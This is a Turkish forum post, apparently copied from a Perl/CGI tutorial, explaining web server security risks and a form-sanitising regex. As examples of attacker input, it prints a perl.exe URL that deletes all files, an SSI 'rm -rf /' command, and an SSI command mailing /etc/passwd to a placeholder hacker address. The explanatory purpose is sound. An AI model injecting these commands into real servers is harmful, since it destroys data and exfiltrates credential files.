Server Güvenliği

Server Güvenliği ve Optimizasyonu

Server Güvenliği

İleti Napster 15.05.2006, 16:09

Web Server programı, bir bilgisayarın ve onun bağlı olduğu ağın dış dünyaya açılan kapısı ise CGI, dış dünyanın Web Server’a giriş kapısıdır. CGI güvenliği, bütün Web Server’ın güvenliğidir. Eğer kendi Web Server’ınızı çalıştırıyorsanız, program üreticisinin önerdiği güvenlik önlemlerini almanız gerekir. Web Server programı başkası tarafından çalıştırılıyorsa, muhtemelen sizin Perl programlarınızla Server’a zarar vermenizin önüne geçilmiş demektir. Ancak sizin sitenizin (veya teknik ifadesiyle, Server’da size ayrılmış olan alanın güvenliği yine sizden sorulur.

Perl programları, bütün Script dilleri gibi kaynak kodunu kendi içinde barındırır; yani Perl dosyanızın tam metin olarak kötüniyetli bir kişinin eline geçmesi, programın ve dolayısıyla sitenin zaaflarını ortaya çıkartır. Bir örnek verelim.

Ziyaretçilerinizin size güvenerek doldurduğu formlarda elektronik posta adresi gibi, herkesin eline geçmesini istemeyecekleri bilgiler bulunabilir; siz bu bilgileri, (bizim yukarıdaki örneklerde yer alan form_bilgileri.txt dosyası gibi) bir dosyada topluyor olabilirsiniz. Ben bu dosyanın adını ve durduğu yeri bilirsem, ve bunu Browser’ımın URL adres hanesine yazarsam, sizin Server’ınız tereddüt bile etmeden bu dosyayı bana gönderecektir. Benim bu dosyanın adını bilmem ancak sizin Perl dosyasını tam metin olarak elime geçirmemle mümkün olabilir. Perl dosyanızın adı, Form içeren HTML sayfanızda, FORM etiketinin ACTION hanesinde kayıtlı! Bu ismi Browser’ımın URL hanesine yazarsam, Web Server hata mesajı verir; çünkü Perl programı kendisine bilgi gönderilmeden çalıştırılmış olacağı için hata oluşacaktır. Fakat bir çok kişi, CGI programlarını yeniledikçe, güncelleştirdikçe veya düzelttikçe, eskisini ".bak" uzatmasıyla Server’da tutmayı tercih eder. Bazı programlama editörleri de dosyaların adına "~" işaretini ekleyerek yedeğini çıkartırlar. Bazı programcılar, Perl metinlerinin bir de ".txt" sürümünü saklamayı tercih ederler. Eğer sizin Perl programını edinmeyi kafasına koymuş bir kişi önce bu tür uzatmalardan işe başlayacaktır.

Bir diğer büyük güvenlik ihlali dünyaya perl programınızı çalıştıran Perl yorumlayıcısının (örneğin perl.exe’nin) yerini ilan etmektir. Perl programlarının baş tarafında bunu belirten ifadeler olması, Web için asla zorunlu değildir. Herhangi bir formdan GET yoluyla Perl.exe’ye Perl komutu gönderiyorsanız (örneğin: sizin bir Formunuz’un istediği bilgi giderken kullanıcının Browser’ımın adres hanesinde "http://host.com/cgi-bin/perl.exe?form.pl" gibi bir gönderi belirtisi görülüyorsa) bu kötüniyetli kişilere Browser’larının adres hanesine şu satırı yazma davetiyesidir:

"http://host.com/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3B"

Bu, bir PC’de "C:\>del c:\*.*" komutunu vermek ve ondan sonra "Y" tuşuna basmakla aynı sonucu verir!

Perl yorumlayıcısının yerini Internet ziyaretçisini anlamasına imkan vermemek gerekir.

Bir diğer önemli güvenlik ihlali aracı Server Side Include denen ve "<!--" ile " -->" arasında Server’a belirli komutları icra etme, belirli programları çalıştırma imkanı veren düzenlemedir. Giderek daha ç sayıda Server yöneticisi bu imkanı kaldırıyor. Server bu tür Server Side Incvlude (SSI) komutlarını kabul ediyorsa, şu komutan örreğin bir Formun kullanıcı adı veya adresi olarak gelmesi işten bile değildir:

Kod: Tümünü seç
<!--#exec cmd="/bin/rm –rf /" -->"


Bu komut da Unix ortamında, DOS’ta "C:\>del c:\*.*" komutunu vermek ve ondan sonra "Y" tuşuna basmak demektir. Veya SSI taklidi yapan şöyle bir komut:

Kod: Tümünü seç
<!--#exec cmd="/bin/mail hacker@cracker.com < /etc/passwd" -->"


Bu komutla bilgisayarınızdaki bütün parolalar, Hacker’a elektronik mesaj olarak gönderilecektir. Bu kitaptaki örneklerimizde bir Form’dan aldığımız bilgileri "$deger =~s/<!--(.|\n)*-->//g;" deyimi ile bu tür komutlardan temizlediğimizi görmüş olmalısınız. Fakat bu kitapçık Web Server güvenliğinin nasıl sağlanacağına değinebilmek için çok küçük; ve çoğu zaman Web Server güvenliğini sağlamak CGI programcısının değil, Server yönetmeninin görevidir. CGI programcısı olarak bize düşen, en azından Form bilgilerini işlemeye başlarken, bir alanda olması gerekmeyen karakterler varsa, onları temizlemektir. Örneğin bir Form’un isim ve elektronik adres hanelerinde"ters bölü işaretinin bulunması gerekmez! Bu alanlarda bu tür işaretler varsa, temizlenmesi yerinde olur.

Kaynak: http://www.mutasyon.net/kitapoku.asp?id=265
Napster
Kullanıcı avatarı
Napster
Üye
Üye
 
İleti: 537
Kayıt: 15.11.2005, 18:55
Konum: İstanbul

Server Güvenliği ve Optimizasyonu



Kimler çevrimiçi

Bu forumu görüntüleyenler: Kayıtlı kullanıcı yok ve 0 misafir